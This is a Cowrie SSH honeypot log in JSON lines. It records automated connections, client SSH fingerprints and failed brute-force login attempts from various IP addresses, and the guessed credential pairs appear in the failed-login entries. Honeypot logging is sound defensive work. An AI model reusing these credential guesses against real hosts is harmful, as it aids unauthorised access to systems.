{"eventid":"cowrie.session.connect","src_ip":"103.107.60.45","src_port":42852,"dst_ip":"159.203.135.109","dst_port":22,"session":"97b56b6e4b89","protocol":"ssh","message":"New connection: 103.107.60.45:42852 (159.203.135.109:22) [session: 97b56b6e4b89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:58:58.660255Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:58:58.667192Z","src_ip":"103.107.60.45","session":"97b56b6e4b89","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:58:58.883147Z","src_ip":"103.107.60.45","session":"97b56b6e4b89","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root1","password":"root1","message":"login attempt [root1/root1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:58:59.779538Z","src_ip":"103.107.60.45","session":"97b56b6e4b89","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:59:01.000067Z","src_ip":"103.107.60.45","session":"97b56b6e4b89","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.176.122.24","src_port":47784,"dst_ip":"159.203.135.109","dst_port":22,"session":"b5feb176632b","protocol":"ssh","message":"New connection: 122.176.122.24:47784 (159.203.135.109:22) [session: b5feb176632b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:59:01.351050Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:59:01.356399Z","src_ip":"122.176.122.24","session":"b5feb176632b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"156.38.73.89","src_port":43656,"dst_ip":"159.203.135.109","dst_port":22,"session":"f2b92f3f1807","protocol":"ssh","message":"New connection: 156.38.73.89:43656 (159.203.135.109:22) [session: f2b92f3f1807]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:59:01.459524Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:59:01.470930Z","src_ip":"156.38.73.89","session":"f2b92f3f1807","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:59:01.633379Z","src_ip":"122.176.122.24","session":"b5feb176632b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:59:01.662898Z","src_ip":"156.38.73.89","session":"f2b92f3f1807","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Asd123","message":"login attempt [root/Asd123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:59:02.444239Z","src_ip":"156.38.73.89","session":"f2b92f3f1807","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftp","password":"12345678","message":"login attempt [ftp/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:59:02.766550Z","src_ip":"122.176.122.24","session":"b5feb176632b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"55.4","message":"Connection lost after 55.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:59:03.496754Z","src_ip":"116.110.158.146","session":"7a4ed64fa8a1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:59:03.635641Z","src_ip":"156.38.73.89","session":"f2b92f3f1807","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:59:04.041147Z","src_ip":"122.176.122.24","session":"b5feb176632b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.235.24.164","src_port":63232,"dst_ip":"159.203.135.109","dst_port":22,"session":"f66bf57ce5f0","protocol":"ssh","message":"New connection: 198.235.24.164:63232 (159.203.135.109:22) [session: f66bf57ce5f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:59:10.664999Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-ZGrab ZGrab SSH Survey","message":"Remote SSH version: SSH-2.0-ZGrab ZGrab SSH Survey","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:59:11.721634Z","src_ip":"198.235.24.164","session":"f66bf57ce5f0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"dd9bcf093c355da7000132131cb36fd0","hasshAlgorithms":"diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,arcfour256,arcfour128,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,aes192-cbc,aes256-cbc,arcfour,rijndael-cbc@lysator.liu.se;hmac-md5-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-ripemd160-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,hmac-md5,hmac-sha1,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-ripemd160,hmac-ripemd160@openssh.com,hmac-sha1-96,hmac-md5-96;none,zlib@openssh.com,zlib","kexAlgs":["diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-rsa-cert-v00@openssh.com","ssh-dss-cert-v00@openssh.com","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","arcfour256","arcfour128","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","aes192-cbc","aes256-cbc","arcfour","rijndael-cbc@lysator.liu.se"],"macCS":["hmac-md5-etm@openssh.com","hmac-sha1-etm@openssh.com","umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-ripemd160-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","hmac-md5","hmac-sha1","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-ripemd160","hmac-ripemd160@openssh.com","hmac-sha1-96","hmac-md5-96"],"compCS":["none","zlib@openssh.com","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: dd9bcf093c355da7000132131cb36fd0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:59:13.145407Z","src_ip":"198.235.24.164","session":"f66bf57ce5f0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.79.1.70","src_port":59118,"dst_ip":"159.203.135.109","dst_port":22,"session":"678947bc616f","protocol":"ssh","message":"New connection: 27.79.1.70:59118 (159.203.135.109:22) [session: 678947bc616f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:59:17.724943Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-AsyncSSH_2.1.0","message":"Remote SSH version: SSH-2.0-AsyncSSH_2.1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:59:17.729942Z","src_ip":"27.79.1.70","session":"678947bc616f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"fda360b1b4f4d3455cb75c6e7edb1d11","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","curve448-sha512","ecdh-sha2-nistp521","ecdh-sha2-nistp384","ecdh-sha2-nistp256","ecdh-sha2-1.3.132.0.10","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha256","diffie-hellman-group15-sha512","diffie-hellman-group16-sha512","diffie-hellman-group17-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","rsa2048-sha256","rsa1024-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519-cert-v01@openssh.com","ssh-ed448-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-ed25519","ssh-ed448","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","ecdsa-sha2-1.3.132.0.10","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","arcfour256","arcfour128","arcfour"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-sha2-256-96-etm@openssh.com","hmac-sha2-512-96-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-md5","hmac-sha2-256-96","hmac-sha2-512-96","hmac-sha1-96","hmac-md5-96"],"compCS":["zlib@openssh.com","zlib","none"],"langCS":[""],"message":"SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:59:20.068941Z","src_ip":"27.79.1.70","session":"678947bc616f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"config","password":"config","message":"login attempt [config/config] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:59:21.039709Z","src_ip":"27.79.1.70","session":"678947bc616f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"11.7","message":"Connection lost after 11.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:59:22.401435Z","src_ip":"198.235.24.164","session":"f66bf57ce5f0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.7","message":"Connection lost after 4.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:59:22.406560Z","src_ip":"27.79.1.70","session":"678947bc616f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.20.28","src_port":47742,"dst_ip":"159.203.135.109","dst_port":22,"session":"ddd07fe678ee","protocol":"ssh","message":"New connection: 103.82.20.28:47742 (159.203.135.109:22) [session: ddd07fe678ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:59:37.171755Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:59:37.176990Z","src_ip":"103.82.20.28","session":"ddd07fe678ee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:59:37.447689Z","src_ip":"103.82.20.28","session":"ddd07fe678ee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.59.89.180","src_port":49882,"dst_ip":"159.203.135.109","dst_port":22,"session":"3d4c2b8683d0","protocol":"ssh","message":"New connection: 31.59.89.180:49882 (159.203.135.109:22) [session: 3d4c2b8683d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:59:37.521050Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:59:37.525805Z","src_ip":"31.59.89.180","session":"3d4c2b8683d0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:59:37.630041Z","src_ip":"31.59.89.180","session":"3d4c2b8683d0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"systemd","password":"Voidsetdownload.so","message":"login attempt [systemd/Voidsetdownload.so] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:59:38.080692Z","src_ip":"31.59.89.180","session":"3d4c2b8683d0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aliens","message":"login attempt [root/aliens] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:59:38.258540Z","src_ip":"103.82.20.28","session":"ddd07fe678ee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:59:39.188613Z","src_ip":"31.59.89.180","session":"3d4c2b8683d0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:59:39.530976Z","src_ip":"103.82.20.28","session":"ddd07fe678ee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"196.92.7.246","src_port":43640,"dst_ip":"159.203.135.109","dst_port":22,"session":"d83c52ae351e","protocol":"ssh","message":"New connection: 196.92.7.246:43640 (159.203.135.109:22) [session: d83c52ae351e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:59:48.168968Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:59:48.173479Z","src_ip":"196.92.7.246","session":"d83c52ae351e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:59:48.296850Z","src_ip":"196.92.7.246","session":"d83c52ae351e","protocol":"ssh"}
